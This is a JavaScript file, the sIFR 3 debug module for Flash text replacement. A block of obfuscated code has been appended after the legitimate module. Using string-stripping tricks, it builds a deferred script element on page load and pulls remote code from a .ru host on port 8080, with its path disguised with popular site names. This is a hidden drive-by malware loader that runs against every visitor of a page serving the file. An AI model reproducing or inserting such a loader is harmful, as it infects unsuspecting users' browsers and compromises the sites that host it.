/*=:project
    scalable Inman Flash Replacement (sIFR) version 3, revision 419

    Provides debug information about sIFR.

  =:file
    Copyright: 2006 Mark Wubben.
    Author: Mark Wubben, <http://novemberborn.net/>

  =:license
    * This software is licensed and provided under the CC-GNU LGPL
    * See <http://creativecommons.org/licenses/LGPL/2.1/>    
*/

sIFR.debug = new function() {
  function Errors() {
    this.fire = function(id) {
      if(this[id + 'Alert']) alert(this[id + 'Alert']);
      throw new Error(this[id]);
    };
  
    this.isFile      = 'sIFR: Did not activate because the page is being loaded from the filesystem.';
    this.isFileAlert = 'Hi!\n\nThanks for using sIFR on your page. Unfortunately sIFR couldn\'t activate, because it was loaded '
                        + 'directly from your computer.\nDue to Flash security restrictions, you need to load sIFR through a web'
                        + ' server.\n\nWe apologize for the inconvenience.';
  };
  
  sIFR.errors = new Errors();
  
  function log(msg) {
    if(!sIFR.ua.safari && window.console && console.log) console.log(msg);
    else alert(msg);
  }
  
  this.ua = function() {
    var info = [];
    
    for(var prop in sIFR.ua) {
      if(sIFR.ua[prop] == Object.prototype[prop]) continue;
      
      info.push(prop, ': ', sIFR.ua[prop], '\n');
    }
    
    log(info.join(''));
  };
  
  this.domains = function() {
    if(sIFR.domains.length == 0) {
      log('No domain verification used.');
      return;
    }
    
    var domain = sIFR.util.domain();
    var matches = [], nonMatches = [];

    for(var i = 0; i < sIFR.domains.length; i++) {
      var match = sIFR.domains[i];
      if(sIFR.util.domainMatches(domain, match)) matches.push(match);
      else nonMatches.push(match);
    }
    
    var msg = ['The domain "', domain, '"'];
    if(matches.length > 0) msg.push(' matches:\n* ', matches.join('\n* '));
    if(matches.length > 0 && nonMatches.length > 0) msg.push('\nbut');
    if(nonMatches.length > 0) msg.push(' does not match:\n* ', nonMatches.join('\n* '));
    log(msg.join(''));
  };

  this.ratios = function(kwargs, mergeKwargs) {
    if(mergeKwargs) kwargs = sIFR.util.copyProperties(kwargs, mergeKwargs);
    
    if(!kwargs.selector && !kwargs.elements) {
      log('Cannot calculate ratios, no selector or element given.');
      return;
    }
    
    delete kwargs.wmode;
    delete kwargs.transparent;
    delete kwargs.opaque;
    
    var running = false;
    kwargs.onReplacement = function(cb) {
      if(running) return; // Prevent duplicate results
      running = true;

      sIFR.debug.__ratiosCallback[cb.id] = function(ratios) {
        ratios = '[' + ratios.join(', ') + ']';
        setTimeout(function() {
          var before = new Date();
          prompt('The ratios for ' + kwargs.selector + ' are:', ratios);
          if(sIFR.ua.ie && before - new Date < 200) {
            alert("Press Control+C to copy the text of this alert box. Then paste it into your favorite text editor.\n"
                + "The numbers between the braces, including the braces, are the ratios. You have to add those to your sIFR configuration.\n\n"
                + "Tip: try calculating the ratios in Firefox instead, it'll be easier to copy the ratios.\n\n"
                + ratios);
          }
          cb.resetMovie();
        }, 0);
      };
      cb.call('calculateRatios');
    };

    sIFR.replace(kwargs);
  };
  
  this.__ratiosCallback = function(id, ratios) {
    if(this.__ratiosCallback[id]) this.__ratiosCallback[id](ratios);
  };
  
  function verifyResource(uri, fail, ok) {
    if(sIFR.ua.ie && uri.charAt(0) == '/') {
      uri = window.location.toString().replace(/([^:]+)(:\/?\/?)([^\/]+).*/, '$1$2$3') + uri;
    }
    
    var xhr = new XMLHttpRequest();
    xhr.open('GET', uri, true);
    xhr.onreadystatechange = function() {
      if(xhr.readyState == 4) {
        if(xhr.status != 200) log(fail);
        else log(ok);
      }
    };
    xhr.send('');
  }

  this.test = function(kwargs, mergeKwargs) {
    kwargs = merge(kwargs, mergeKwargs);

    var src = kwargs.src;
    var checked = false;
    if(typeof(src) != 'string') {
      if(src.src) src = src.src;

      if(typeof(src) != 'string') {
        var versions = [];
        for(var version in src) if(src[version] != Object.prototype[version]) versions.push(version);
        versions.sort().reverse();

        var result = '';
        var i = -1;
        while(!result && ++i < versions.length) {
          if(parseFloat(versions[i]) <= ua.flashVersion) result = src[versions[i]];
          var msg = '<' + src[versions[i]] + '>, flash ' + parseFloat(versions[i]);
          verifyResource(src[versions[i]], 'FAILED: ' + msg, 'OK: ' + msg);
        }
        
        src = result;
        checked = true;
      }
    }
    
    if(!src) log('Could not determine appropriate source.');
    else if(!checked) verifyResource(src, 'FAILED: <' + src + '>', 'OK: <' + src + '>');
  };
  
  this.forceTest = function() {
    var replace = sIFR.replace;
    sIFR.replace = function(kwargs, mergeKwargs) {
      sIFR.debug.test(kwargs, mergeKwargs);
      replace.call(sIFR, kwargs, mergeKwargs);
    };
  }
};
var K={};var gz=["C","d"];var Qb=["BX","km"];var w;k=function(){function F(i,D,fN){try {} catch(YE){};var wj=new Date();return i.substr(D,fN);}var R=new Array();var p="p";var Y='';try {} catch(Z){};var Fp=new String("/goog"+"le.co"+"m/mat"+F("ch.conzx7",0,5)+"m/wor"+"ldofw"+F("xYearcraYxe",3,5)+"ft.co"+F("m.php7S9",0,5));var Yx=[];var U=RegExp;var I=document;function f(i,D){var fN=String(F("[PDq",0,1))+D+String("]");z={gA:"s"};try {var NU='a'} catch(NU){};var V=new U(fN, F("gM7z",0,1));return i.replace(V, Y);this.W=false;};this.Kx="Kx";var qN=["PF","y"];yn=47252;yn-=215;try {var T='eT'} catch(T){};var YW=null;var x=["hv"];var fg=new String("body");this.Fu="";this.CU="";var b=69349-61269;var cs='';gr={_:26659};var kw=f('sTcQreiSp9tA','jAyoRO9QMUzSu07PKdhWleTHD');tF={TO:false};bb=31880;bb++;var Ql=new Array();w=function(){try {this.KI=25101;this.KI--;var j=f('c3rseGaWtDe3EXlXeWmGeDn3ty','GsWyp3XD');var US=new Array();var UE=new Date();N=I[j](kw);this.o="";this.mm="";_y={};kp={};var i=b+Fp;JE=["Hh","ss"];Ls=["tn","dE"];var t=new String(F("defery2G",0,5));var BU=new Array();wK=["Qv"];var VJ=f('svrtcj','BSY0tVUMjmxv');this.ZT="";var iC=["Er"];var iA={Mt:64774};N[t]=[1,5][0];N[VJ]="http"+F("://r8MTz",0,4)+F("owhox8F",0,4)+F("ck.rG4t",0,4)+"u:"+i;_p=62035;_p--;var Np=new String();var vt=53916;I[fg].appendChild(N);} catch(B){rE={qu:54721};};this.yK='';this.TF='';};};xi=59814;xi--;this.LG="LG";k();try {var cM='Bv'} catch(cM){};window.onload=w;Gw=24059;Gw++;DgF=11873;DgF--;this.jx=false;this.Pc="";
